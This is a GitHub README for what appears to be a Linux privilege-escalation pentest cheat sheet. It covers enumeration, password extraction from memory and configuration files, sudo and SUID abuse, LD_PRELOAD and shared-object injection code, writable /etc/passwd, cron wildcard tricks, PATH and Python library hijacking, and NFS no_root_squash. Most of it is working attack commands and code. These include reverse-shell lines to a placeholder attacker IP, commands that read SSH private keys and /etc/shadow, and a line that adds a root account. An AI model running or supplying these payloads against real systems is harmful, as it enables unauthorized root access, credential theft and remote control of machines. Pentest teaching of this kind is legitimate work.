Skip to content

Audit and pentest methodologies for Linux including internal enumeration, privesc, lateral movement, etc.

Notifications You must be signed in to change notification settings

Kiosec/Linux-Exploitation

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 

Repository files navigation

Linux Privilege Escalations

Table of contents

➤ Internal enumeration
➤ Privilege escalation through password mining
➤ Privilege escalation through misconfigurations
➤ Privilege escalation through exploits
➤ Maintain access

⭕ Internal enumeration

🔻Manual enumeration

➤ Users and groups
whoami (Determine the user)
cat /etc/passwd (Enumerate all users)
groups <username> (Determine the groups that our account is part of)
cat /etc/group (List the groups)
find / -perm -u=s -type f 2>/dev/null (Search for SUID binaries that can be exploited and run with root privileges to run arbitrary commands)
➤ ID and location
id
pwd
➤ OS / Version / Architecture
cat /etc/*-release
uname -i
uname -a
uname -r
cat /proc/version
hostnamectl | grep Kernel
lsb_release -a (Debian based OSs)
➤ Packaged installed
dpkg -l (Debian based OSs)
rpm -qa (CentOS / openSUSE )
➤ Running services and network services
ps aux
ps aux | grep root (Processes that are running as root)
netstat -antup
➤ Cron jobs
crontab -l
ls -al /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/contab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
➤ Network
ifconfig
ip addr show
arp -a
route (Display the routing table)
netstat -ant (or -ano) (determine services running and ip) 
➤ Search a file
find . -name "*.txt"
➤ Read SSH key
ls -la /home /root /etc/ssh /home/*/.ssh/; locate id_rsa; locate id_dsa; find / -name id_rsa 2> /dev/null; find / -name id_dsa 2> /dev/null; find / -name authorized_keys 2> /dev/null; cat /home/*/.ssh/id_rsa; cat /home/*/.ssh/id_dsa

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

🔻Automated enumeration

LinEnum : https://github.com/rebootuser/LinEnum

Linprivchecker.py : https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py

Unix-privesc-check : http://pentestmonkey.net/tools/audit/unix-privesc-check

Linuxpriveschecker.py : https://raw.githubusercontent.com/swarley7/linuxprivchecker/master/linuxprivchecker.py

Linux-exploit-suggester.sh https://raw.githubusercontent.com/The-Z-Labs/linux-exploit-suggester/master/linux-exploit-suggester.sh

LinPeas.exe : https://github.com/carlospolop/PEASS-ng/releases/tag/20220220

Linux-smart-enumeration https://github.com/diego-treitos/linux-smart-enumeration

⭕ Privilege escalation through password mining

🔻Extraction passwords from memory

Uncommon technique that can be used to extract application passwords from memory. The viability and success of this technique will depend on the type of applications that are running on the target and its deployement use case.

➤ 1. Identify the services running on the target system that utilize authentication or services that may have been used to authenticate with other services
#ps -ef
kiosec@cyberlab:~# ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  3 21:41 ?        00:00:03 /sbin/init
root         2     0  0 21:41 ?        00:00:00 [kthreadd]
root         3     2  0 21:41 ?        00:00:00 [kworker/0:0]
root         4     2  0 21:41 ?        00:00:00 [kworker/0:0H]
root      5     2  0 21:41 ?        00:00:00 [kworker/u4:0]
user         6     2  0 21:41 ?        00:00:00 -bash
<...>

➤ 1.Bis Identify a specific service running on the target

#ps -ef | grep <SERVICE_NAME>
kiosec@cyberlab:~# ps -ef | grep bash
root      2521  2513  0 21:42 pts/0    00:00:00 -bash

➤ 2. Utilize GDB to dump the memory of the service in oder to reveal credentials that may have been entered in the Bash session ealier

#gdb -p <PID>
kiosec@cyberlab:~# gdb -p 2521

➤ 3. List all mapped memory regions fro the process

If successfull, the GDB should output the mapped address spaces for the service. Take note of the start and the end addresses for the heap, as highlighted in the preceding screenshot, as we will need these addresses in order to dump the memory of the service

# info proc mappings
(gdb) info proc mappings
process 2521
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x561a2fa5c000     0x561a2fb60000   0x104000        0x0 /bin/bash
      0x561a2fd5f000     0x561a2fd63000     0x4000   0x103000 /bin/bash
      0x561a2fd63000     0x561a2fd6c000     0x9000   0x107000 /bin/bash
      0x561a2fd6c000     0x561a2fd76000     0xa000        0x0 
      0x561a303d9000     0x561a3041b000    0x42000        0x0 [heap]
      0x7f2f64587000     0x7f2f64592000     0xb000        0x0 /lib/x86_64-linux-gnu/libnss_files-2.27.so
      0x7f2f64592000     0x7f2f64791000   0x1ff000     0xb000 /lib/x86_64-linux-gnu/libnss_files-2.27.so

➤ 4. Dump the memory of the service by specific the start and end addresses of the heap allocation

# dump memory <OUTPUT_FILE> <START_ADDRESS> <END_ADDRESS>
(gdb) dump memory dump_file 0x561a303d9000 0x561a3041b000

➤ 5. Quit GDB

➤ 6. Utilize strings utility to identify potentially useful information and credentials

#strings /<OUTPUT_DUMPED_FILE> | grep <STRING>
kiosec@cyberlab:~# strings /dumped_file | grep passw
mysql -h host.local -uroot -ppassword@2023

➤ 7. Use the credentials

often, root user has reused their password for other service such as DB. So always try to gain access to the root account on the target via SSH or su using discovered creds 
try to connect to database
try to connect to application

🔻Extraction passwords from configuration files

➤ Using GREP
#Everywhere
grep --color=auto -rnv '/' -ie "PASS" --color=always 2> /dev/null
#Limt search to /etc configuration folder
grep --color=auto -rnv '/etc' -ie "PASS" --color=always 2> /dev/null
➤ Using FIND
find /etc -type f -exec grep -i -I "PASS" {} /dev/null \;

🔻Extraction passwords in history files

➤ Analyze the user account Bash history file
cat /home/user/.bash_history | grep "pass"

OR

history

🔻Extraction passwords from Keepass

➤ Install kpcli (linux, kali, etc).
sudo apt install -y kpcli
kpcli
➤ Open vault and enter password
kpcli:/> open Database.kdbx
➤ List containers
kpcli:/> ls
kpcli:/> ls Database/*
➤ Move to containers
kpcli:/> cd Database/RH/
➤ Show specific password
kpcli:/> show -f -a Database/General/Password
➤ Select and display specify password
kpcli:/passcodes/Network> ls
=== Entries ===
0. Password for windows (Ticketing Server)                                          
1. backup password (server)                                                
kpcli:/passcodes/Network> show 0 -f

⭕ Privilege escalation through misconfigurations

🔻Sudoers method

Exhaustive list of privilege escalation using Sudoers
https://gtfobins.github.io/
  1. Check its current situation related to root privileges
kiosec@lab:/home$ sudo -l
Example of famous privilege escalation through sudo
➤ Python
sudo -u root /usr/bin/python
>>> from subprocess import call
>>> call(['/bin/bash'])

➤ Perl
sudo -u root /usr/bin/perl -e ‘`/bin/bash`’

➤ CP + Chmod
sudo -u root /bin/cp exploit exploit
sudo -u root /bin/chmod +xs exploit
./exploit

➤ Awk
awk 'BEGIN {system("/bin/bash")}'

➤ Less
• Solution 1 - read a file
sudo -u root /usr/bin/less /etc/shadow
 
• Solution 2 - create a file
sudo -u root /usr/bin/less 
then insert the following command :
!/bin/bash

➤ Vim
sudo -u victim /usr/bin/vim
then write the following command (same way to quit vim :!q):
:!/bin/bash

➤ Find
sudo -u root /usr/bin/find /bin -name "bash" -exec {} \;

➤ Bash
sudo -u root /bin/bash

➤ Nmap
sudo -u nmap –interactive
nmap>!bash
or
nmap>!sh

➤ Mail
sudo mail --exec='!/bin/bash'
Example of specific privilege escalation through sudo

➤ nginx

Step 01: Check its current situation related to root privileges
kiosec@lab:/home$ sudo -l
<...>
(ALL : ALL) NOPASSWD: /usr/sbin/nginx


Step 02: 
https://gist.github.com/DylanGrl/ab497e2f01c7d672a80ab9561a903406
also part of HTB Broker

➤ gcore

# It can be used to generate core dumps of running processes. Such files often contains sensitive information such
# as open files content, cryptographic keys, passwords, etc. This command produces a binary file named core.$PID,
# that is then often filtered with strings to narrow down relevant information.

# Step 01 : Check its current situation related to root privileges
kiosec@lab:/home$ sudo -l
<...>
(ALL : ALL) NOPASSWD: /usr/sbin/gcore

# Step 02 : List the processes running as root
kiosec@lab:/home$ ps -f -u root
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 02:48 ?        00:00:00 /sbin/init
root         2     0  0 02:48 ?        00:00:00 [kthreadd]
root         3     2  0 02:48 ?        00:00:00 [rcu_gp]
root         4     2  0 02:48 ?        00:00:00 [rcu_par_gp]
root         6     2  0 02:48 ?        00:00:00 [kworker/0:0H-kblock
[...]

# Step 03 : Search interresting processes
Example of interresting processes
- Password store : root       494     1  0 02:48 ?        00:00:00 /usr/bin/password-store
- Polkit : root       490     1  0 02:48 ?        00:00:00 /usr/lib/policykit-1/polkitd --n
- Cron : root       464     1  0 02:48 ?        00:00:00 /usr/sbin/cron -f
- sshd : root       535     1  0 02:48 ?        00:00:00 /usr/sbin/sshd -D

# Step 04 : Dump process
# the generated dump will be the follwing name core.{PID], as an example: core.494
kiosec@lab:/home$ sudo gcore 494


# Step 04 : Search sensitive information in the dump
# Parse line by line (recommended method
kiosec@lab:/home$ strings core.494 | less
[...]
*V/@e
:

001 Password: root:
:mySuperStringPassw0rd!
[...]

# Search directly keywords
kiosec@lab:/home$ strings core.494 | grep -i pass
CVE-2019-14287 (ALL, !root)
kiosec@lab:~$ sudo -l
<...>
User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash

kiosec@lab:~$ sudo -u#-1 /bin/bash
or
kiosec@lab:~$ sudo -u \#$((0xffffffff)) /bin/bash
CVE-2023-26604 (systemctl + systemd 245)

Explanation : https://medium.com/@zenmoviefornotification/saidov-maxim-cve-2023-26604-c1232a526ba7

# Check SUDOERS
kioseca@cyberlab:/home$ sudo -l
sudo -l
Matching Defaults entries for kiosec on cyberlab:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User kiosec may run the following commands on cyberlab:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service


# Check version of systemd
kioseca@cyberlab:/home$ systemctl --version
systemctl --version
systemd 245 (245.4-4ubuntu3.22)
+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid


# Privesc
kioseca@cyberlab:/home$ sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
-  (press RETURN)!/bin/bash
<SNIP>
root@cyberlab:/home# 

🔻Membership groups method

➤ Check for the groups you belong to
kiosec@lab:~$ id
uid=1001(kiosec) gid=1001(kiosec) groups=1001(kiosec)
➤ Privesc using sudo group
kiosec@lab:~$ id
uid=1001(kiosec) gid=1001(kiosec) groups=1001(kiosec),

kiosec@lab:~$ sudo su root
➤ Privesc using disk group (Example 01)
kiosec@lab:~$ id
uid=1001(kiosec) gid=1001(kiosec) groups=1001(kiosec),6(disk)

Kiosec is part of disk group. This group gives full access to any block devices contained within dev/. Let's check the mounted disks.

kiosec@lab:~$cat /proc/self/mounts|grep 'sda'
/dev/sda5 / ext4 rw,relatime,errors=remount-ro 0 0
/dev/sda1 /boot/efi vfat rw,relatime,fmask=0077,codepage=437,iocharset=iso8859-1,shortname=miwed,errors=remount-ro 0 0

The root file system is mounted on /dev/sda5 , and the privileges to it. Let's use disk group has full read and write debugfs to enumerate the entire disk with root-level privileges.

kiosec@lab:~$debugfs /dev/sda5
debugfs 1.45.5 (07-Janv-2020)
debugfs: cat /etc/shadow
➤ Privesc using disk group (Example 02)
kiosec@lab:~$df -h
Filesystem                         Size  Used Avail Use% Mounted on
/dev/mapper/ubuntu--vg-ubuntu--lv  9.8G  5.1G  4.2G  56% /
udev                               947M     0  947M   0% /dev
tmpfs                              992M     0  992M   0% /dev/shm
tmpfs                              199M  1.2M  198M   1% /run
tmpfs                              5.0M     0  5.0M   0% /run/lock
tmpfs                              992M     0  992M   0% /sys/fs/cgroup
/dev/loop0                          62M   62M     0 100% /snap/core20/1611
/dev/loop1                          64M   64M     0 100% /snap/core20/1852
/dev/sda2                          1.7G  209M  1.4G  13% /boot
/dev/loop2                          68M   68M     0 100% /snap/lxd/22753
/dev/loop3                          50M   50M     0 100% /snap/snapd/18596
/dev/loop4                          92M   92M     0 100% /snap/lxd/24061
tmpfs                              199M     0  199M   0% /run/user/1000
kiosec@lab:~$debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
debugfs 1.45.5 (07-Jan-2020)
debugfs:  cat /etc/shadow
cat /etc/shadow
root:$6$AIWcAPxEWgv1$3mFpTQAc9KPmDBGUQ2sPYYFE/depdDiv2Yw.XcU.Q82P3O05.a/4.D/x4ojQAkPnv/v7Qrw7Ici7.hs0sZiC.:19453:0:99999:7:::
[...]
debugfs:  quit

🔻LD_PRELOAD method

https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/

➤ Check for LD_PRELOAD (with the env_keep option)
kiosec@lab:/home$ sudo -l
Matching Default entries for user on this host:
	en_reset, env_keep+=LD_PRELOAD
<snip>
➤ Write a simple C code compiled as a share object (.so extension) file
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
➤ Compile the code
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
➤ Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

🔻Writable files method

➤ Read/write sensitive files
/etc/passwd
/etc/group
/etc/profile
/etc/shadow
➤ Detect if the file is writable
ls -l /etc/passwd
-rwxrwxrwx. 1 root root 1306 Jan 10 21:30 /etc/passwd
➤ Privesc 01 : Delete the x of the root user in /etc/password
• By deleting the 'x', all users can substitute the root user. 
root:x:0:0:root:/root:/bin/bash
->
root::0:0:root:/root:/bin/bash
➤ Privesc 02 : Add another root user in /etc/password
echo "kiosec:x:0:0:test:/root:/bin/bash" >> /etc/passwd

🔻SUID files method

➤ List files that have SUID (Set-user Identification) or SGID (Set-group Identification) bits set. These (S) allow files to be executed with the permission level of the file owner or the group owner, respectively.
• find / -type f -perm -04000 -ls 2>/dev/null
OR more valuable
• find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null 
➤ A good practice would be to compare executables on this list with GTFOBins
https://gtfobins.github.io/#+suid
Example : Base64
➤  Find SUID and SGID (base64 detected)

Kiosec@lab$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
<snip>
-rwsr-xr-x 1 root root 43352 Sep  5  2019 /usr/bin/base64
<snip>

➤  Verify that base64 is vulnerable to SUID attack
https://gtfobins.github.io/#+suid

➤  Follow the attack
• Method 01:
Kiosec@lab$cd /etc
Kiosec@lab/etc$ LFILE=shadow
Kiosec@lab/etc$ base64 "$LFILE" | base64 --decode
root:*:18561:0:99999:7:::
<snip>

• Method 02:
Kiosec@lab/etc$ base64 /etc/shadow | base64 --decode
root:*:18561:0:99999:7:::
<snip>

➤  Crack hashes using john

#The code below read the document /root/root.txt and write the contain into /tmp/output.txt
#Be careful to copy/paste each line one by one and not a global copy/paste 
ABC=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output.txt"
[Install]
WantedBy=multi-user.target' > $ABC
./systemctl link $ABC
./systemctl enable --now $ABC

🔻Shared object injection method

linPEAS runs each SUID binary with strace (utility used to monitor and debug applications and processes and their interaction with the linux kernel) to identify the shared objects that are used by the binary and lists theirs respectives locations.

Note: Shared objects are the Linux equivalent of DLL on Windows

➤ 1. Execute linPEAS (alternative 3.BIS)
➤ 2. Analyze the result

As example here, the vulnsuid binary utilizes the libcalc.so shared ojects that do not exist on the target system and should be located into the "/home/user/.config/" folder.

#Example of interesting output
<...>
-rwsr-sr-x 1 root staff 9,2K May 15 2023 /usr/local/bin/vulnsuid (Unknow SUID binary)
--- Trying to execute /usr/local/bin/vulnsuid with strace in order to look for hijackable libraries...
open("/home/user/.config/libcalc.so" O_RDONLY) =-& ENOENT (No such file or directory)
➤ 3. Analyze what the binary does by executing it
vulnsuid
➤ 3.BIS Alternatively, analyze what shared objects the binary uses
strace /usr/local/bin/vulnsuid 2>&1 | grep -i -E "open|access|no such file"

OR

# Less usefull
strings /usr/local/bin/vulnsuid
➤ 4. Create the missing shared object

Note: In some case, the directory is missing and it will be requiered to firstly create the directory (mkdir)

touch /home/user/.config/libcalc.c

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && / tmp/bash -p");
}
➤ 5. Compile the custom shared object with GCC

Note: When compiling our code with GCC, we used the -fPIC flag, which ensures that the code in our shared library is postion-independent and can be loaded by any address in memory

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
➤ 6. Execute the binary in order to execute the custom shared library
vulnsuid

🔻Capabilities method

If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.

Another method system administrators can use to increase the privilege level of a process or binary is “Capabilities”. Capabilities help manage privileges at a more granular level. For example, if the SOC analyst needs to use a tool that needs to initiate socket connections, a regular user would not be able to do that. If the system administrator does not want to give this user higher privileges, they can change the capabilities of the binary. As a result, the binary would get through its task without needing a higher privilege user.

➤ 1. Detect the Capabilities with CAP_SETUID (i.e. When run as an unprivileged user, getcap -r / will generate a huge amount of errors, so it is good practice to redirect the error messages to /dev/null)
Kiosec@lab$getcap -r / 2>/dev/null
➤ 2. Check if the binaries founded can be leveraged for privesc.
https://gtfobins.github.io/#

🔻Crontab method

➤ 1. Check the cron job configurations stored as crontabs (cron tables)
kiosec@lab:/home$ cat /etc/crontab
➤ 1 BIS. If the access to the utility has been limited by the administrator, it is possible tu use the following commands to enumerate information regarding the active con jobs
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*
Notes: Be careful with the PATH included at the beginning of the crontab file (first lines)
➤ 2. Identify the cron job set by root
➤ 3. For each of cron job identified, detect if the script can be modify (ex: script can be modify, can be remove or replace in the folder)
kiosec@lab:/home$ ls -al xxxx
➤ 4. Modify the script with a reverse shell or a privilege escalation payloads
➤ 4 BIS. Sometimes, the cron job is present in the crontab but the associated script does not exist. In this case, check if it is possible to write in the corresponding folder, then create a malicious script with the name. As example :
kiosec@lab:/home$ cat /etc/crontab
* * * * *  root /tmp/test.sh #Script located in tmp and run with root privileges
<snip>

kiosec@lab:/home$ ls -al
ls: cannot access '/tmp/test.sh': No such file or directory # The script does not exist
OR
kiosec@lab:/home$ locate test.py

kiosec@lab:/home$ echo "YOUR_PAYLOAD" >> /tmp/test.sh
OR
kiosec@lab:/home$ vim /tmp/test.sh
#!bin/bash
/bin/sh -i >& /dev/tcp/<IP>/<PORT> 0>&1
OR directly
/bin/sh

🔻Wildcard (*) in cron executed script

This privilege escalation technique involves taking advantage of cron jobs that execute commands or script with wildard (*).

➤ 1. Analyzing the crontab file
kiosec@lab:/home$ cat /etc/crontab
* * * * *  root /tmp/test.sh #Script located in tmp and run with root privileges
<snip>
➤ 2. Analyse the content of the script

The script here is executed from the user account's home directory and that the files have been compressed with the tar utility. However, we can also identify a wildcard (*) at the end of the tar command. The wildcard is used to specify all the files in the user account's home directory.

The tar utility has a checkpoint feature that is used to display progress messages after a specific set of files. it also allows users to define a specific action that is executed during the checkpoint. We can leverage this feature to execute a reverse shell payload that will provide us with an elevated session when executed.

kiosec@lab:/home$ cat /tmp/test.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
➤ 3. Create a reverse shell on the victim machine
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1' > shell.sh
➤ 4. Create a listener on the attacker machine
➤ 5. On the target machine, set up our tar checkpoints in the user account's home directory
touch /home/user/--checkpoint=1
➤ 6. On the target machine, set up the checkpoint action.

In this case, the checkpoint action will execute the shell.sh script.

touch /home/user/--checkpoint-action=exec=sh\ shell.sh

🔻Path method

PATH in Linux is an environmental variable that tells the operating system where to search for executables. For any command that is not built into the shell or that is not defined with an absolute path, Linux will start searching in folders defined under PATH.

If a folder for which your user has write permission is located in the path, you could potentially hijack an application to run a script.

➤ Display the $PATH value
kiosec@lab:/home$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Example of attack steps
➤ 1. Detect a script with SUID configuration
kiosec@lab:/home$ ls -al
<snip>
-rwsr-xr-x 1 root root 1023 March 21 10:03 vuln_script

➤ 2. Check the code source of the script and detect if a a system binary is called. As example : 
kiosec@lab:/home$ cat vuln_script
<snip>
system("random_binary");

➤ 3. By default, while you try to execute the script, Linux will start searching in the folder listed in $PATH. Consequently, check if the system binary called (ex: random_binary) is present in one of the folders listed in $PATH.
kiosec@lab:/$ find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v usr | sort -u
kiosec@lab:/$ find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u #Add “grep -v proc” to get rid of the many results related to running processes.

• 3.1 If the binary exists in one of the folders listed in $PATH, check if you can replace/modify it.

• 3.2 If the binary does not exist, check if you have the write permission on one of the folders listed in $PATH, then create the binary file 'random_binary' with your payload inside.

• 3.3 If the binary does not exist and you cannot write into the folders listed in $PATH, add a writable folder in the $PATH (as example tmp)
kiosec@lab:/home$ export PATH=/tmp:$PATH
Then, create the binary file 'random_binary' with your payloard inside.
kiosec@lab:/$ cd /tmp
kiosec@lab:/$ echo "/bin/bash" > random_binary
kiosec@lab:/$ chmod 777 random_binary

➤ 4. Execute the file with the SUID
./scriptSUID

🔻Python Library Hijacking method

If a Python script is run with sudo privileges while write permissions have been granted on an imported module, privilege escalation can occur. The imported functions can be modified to execute system commands or spawn a shell, which will then operate with root rights.

Context example : From a linpeas result, you identify that the www-date are able to run a python script without password required (SUDO).

image

5 privilege escalation methods may be performed :

➤ Easy way : Right permission directly applied on the script.
In the context, you have identified the script wifi_reset.py. If you have write permission on the script, you can directly modify it to include os.system command, then gain root shell.

// you have write access to wifi_reset.py
www-data@cyberlab:/home/kiosec$ ls -al
-rwxr-xrwx 2 www-data www-data 4096 Mar 29 10:26 wifi_reset.py

// modify content and include those lines for privilege escalation
www-data@cyberlab:/home/kiosec$ cat wifi_reset.py 
import os;
os.system("/bin/bash")

// Running the malicious wifi_reset.py with sudo for privilege escalation
www-data@cyberlab:/home/kiosec$ sudo /usr/bin/python /home/kiosec/wifi_reset.py
root@cyberlab:/home# id
uid=0(root) gid=0(root) groups=0(root)
➤ Easy way : Right permission directly applied on the folder containing the script.
In the context, you have identified the script wifi_reset.py. If you have write permission on the folder containing the script, you can directly replace the script by a new one to include os.system command, then gain root shell.

// you have write access to the folder kiosec containing the script wifi_reset.py
www-data@cyberlab:/home$ ls -al
-rwxr-xr-x 2 www-data www-data 4096 Mar 29 10:26 kiosec

// replace the file by a new wifi_reset.py file including those lines for privilege escalation
www-data@cyberlab:/home/kiosec$ cat wifi_reset.py 
import os;
os.system("/bin/bash")

// Running the malicious wifi_reset.py with sudo for privilege escalation
www-data@cyberlab:/home/kiosec$ sudo /usr/bin/python /home/kiosec/wifi_reset.py
root@cyberlab:/home# id
uid=0(root) gid=0(root) groups=0(root)
➤ Write Permissions on Imported Python Module
In this case, it is not possible to modify the script or replace it. However, by reading the content of wifi_reset.py, it can be seen that a module (webbrowser) is imported by the Python script, and the open function is then used to launch the default web browser.

www-data@cyberlab:/home$ cat wifi_reset.py
import webbrowser;
browser.open(http://test.com);

The first step consist to find where is located the module. Then, to check if you have write permission on the module file. (if not found, maybe it is possible to create new module with this name to privesc).

// module location found
www-data@cyberlab:/home$ locate webbrowser.py
/usr/lib/python3.8/webbrowser.py

// Write permission validated on the module
www-data@cyberlab:/home$ ls -al /usr/lib/python3.8/webbrowser.py
-rwxrwxrwx root root 24012 Jan 27 07:42 /usr/lib/python3.8/webbrowser.py

If the module is found and it possible to modify it. In this case, it is possible to modify it then execute the python script.

// modify the module content in order to include those lines for privilege escalation
www-data@cyberlab:/usr/lib/python3.8/$ cat webbrowser.py 
import os;
os.system("/bin/bash")

// Running the malicious wifi_reset.py with sudo for privilege escalation
www-data@cyberlab:/home/kiosec$ sudo /usr/bin/python /home/kiosec/wifi_reset.py
root@cyberlab:/home# id
uid=0(root) gid=0(root) groups=0(root)
➤ Higher Priority Python Library Path with Broken Privileges
In this method, the vulnerability is based on the execution priority order of module files. The issue arises from the way the Python library path determines which module file is used during import. When a module is imported by a script, Python searches for the corresponding file within its default directories according to a predefined priority order. In the created Python script, the webbrowser.py module file is called. The system searches for this module across the default paths; however, if a Python module file with the same name exists in the script's directory, it is given priority over the default locations.

// Vulnerable script
www-data@cyberlab:/home$ cat wifi_reset.py
import webbrowser;
browser.open(http://test.com);

In this scenario, we can not modify the script nor the module in the python path order (ex: /usr/lib/python3.8/). However, we will create a new module directly in the same folder that the vulnerable script, then add the python reverse shellcode inside the webbrowser.py file that we just created.

// The folder containing the vulnerable script containing also the fake module webbrowser.py
www-data@cyberlab:/home$ ls -al 
-rwxr-xr-x root root 24012 Jan 27 07:42 wifi_reset.py
-rwxrwxrwx www-data www-data 6092 Feb 10 12:37 webbrowser.py

// Running the malicious wifi_reset.py with sudo for privilege escalation to gain reverse shell
www-data@cyberlab:/home/kiosec$ sudo /usr/bin/python /home/kiosec/wifi_reset.py
➤ Redirecting Python Library Search through PYTHONPATH Environment Variable
In this scenario, The vulnerability is based on the Python Library that is searching through the Python PATH Environment Variable. This variable holds a list of directories where the python searches for the different directories for the imported modules. If an attacker can change or modify that variable then they can use it to elevate privileges on the target machine.

By running the sudo -l command, the scripts or binaries that can be executed with elevated privileges are listed. It is observed that the SETENV option can be used with elevated access. This allows the priority order of the imported module to be altered. This means that we can use it ot alter the priority order of the imported module.

// you have write access to wifi_reset.py
www-data@cyberlab:/home/kiosec$ sudo -l
[...]
User www-data may run the following commands on ubuntu:
	(root) SETENV: NOPASSWD: /usr/bin/python /home/kiosec/wifi_reset.py

Since it is importing the webbrowser module, we first will create a malicious module file with the name of webbrowser.py in the tmp folder, and then using the ability to change the Environment Variable PYTHONPATH we will make an entry to include our malicious module file. The malicious module file contains the reverse shellcode. We start a Netcat listener on the same port as mentioned in the script and proceed to add the /tmp directory into the Python Path and then execute the hack.py file to elevate our access.

1. In the /tmp folder, create a webbrowser.py malicious python module containing the reverse shell.
2. After execute our listener, execute the sudo command with the additional option PYTHONPATH=/tmp/

// Running the malicious wifi_reset.py with sudo and the PYTHONPATH option for privilege escalation to gain reverse shell
www-data@cyberlab:/home/kiosec$ sudo PYTHONPATH=/tmp/ /usr/bin/python /home/kiosec/wifi_reset.py

🔻NFS method

NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can usually be read by users.

➤ Display the NFS configuration
victim@target:/home$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#		to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)

The critical element for this privilege escalation vector is the “no_root_squash” option you can see above. By default, NFS will change the root user to nfsnobody and strip any file from operating with root privileges. If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system.

Example of attack steps
➤ 1. Detect the NFS with 'no_toot_squash'
<snip>
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)

➤ 2. Enumerate the mountable shares
victim@target:/home$ showmount -e 10.0.0.1
Export list for 10.0.0.1
/backups          *
/mnt/sharedfolder *
/tmp              *

➤ 3. Mount one of the 'no_root-squash' to our attacking machine 
kiosec@lab:/$ mkdir /tmp/backupsonattackermachine
kiosec@lab:/$ mount -o rw 10.0.0.1:/backups /tmp/backupsonattackermachine

➤ 4. Create an executable that will run /bin/bash on the target system with SUID bits (ex: nfs.c)
int main()
{ setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}

➤ 5. Compile the code 
kiosec@lab:/tmp/backupsonattackermachine$ gcc nfs.c -o nfs -w
kiosec@lab:/tmp/backupsonattackermachine$ chmod +s nfs
kiosec@lab:/tmp/backupsonattackermachine$ ls -l nfs
-rwsr-sr-x 1 root root 8392 May 17 09:41 nfs

➤ 5. Execute the code on the victim and gain root shell
victim@target:/backups$ ./nfs

🔻RPC method

➤ Detection of the vulnerability
1. Upload pspy64 on the victim machine. By default the location of pspy is /usr/share/pspy/
image
2. Execute pspy on the victim machine and search a line executed with UID=0 (root) which containing rpc.py
image

Important note: A the pspy64 execution, you received the following error, use the 32 bits version of pspy.

image
➤ Exploitation of the vulnerability
